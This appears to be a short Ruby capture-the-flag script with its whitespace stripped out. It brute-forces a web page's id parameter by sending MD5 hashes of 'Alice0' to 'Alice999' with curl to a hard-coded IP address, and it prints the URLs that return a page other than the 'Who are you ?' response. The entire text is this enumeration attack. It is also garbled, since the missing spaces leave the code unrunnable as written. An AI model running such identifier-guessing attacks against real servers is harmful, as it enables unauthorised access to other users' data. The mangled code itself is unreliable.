require'digest'1000.timesdo|i|putsiurl="http://218.2.197.237:8081/472644703485f950e3b746f2e3818f49/index.php"url<<"?id=#{Digest::MD5.hexdigest('Alice%d'%i)}"html=`curl -s #{url}`putsurlunlesshtml.include?"Who are you ?"end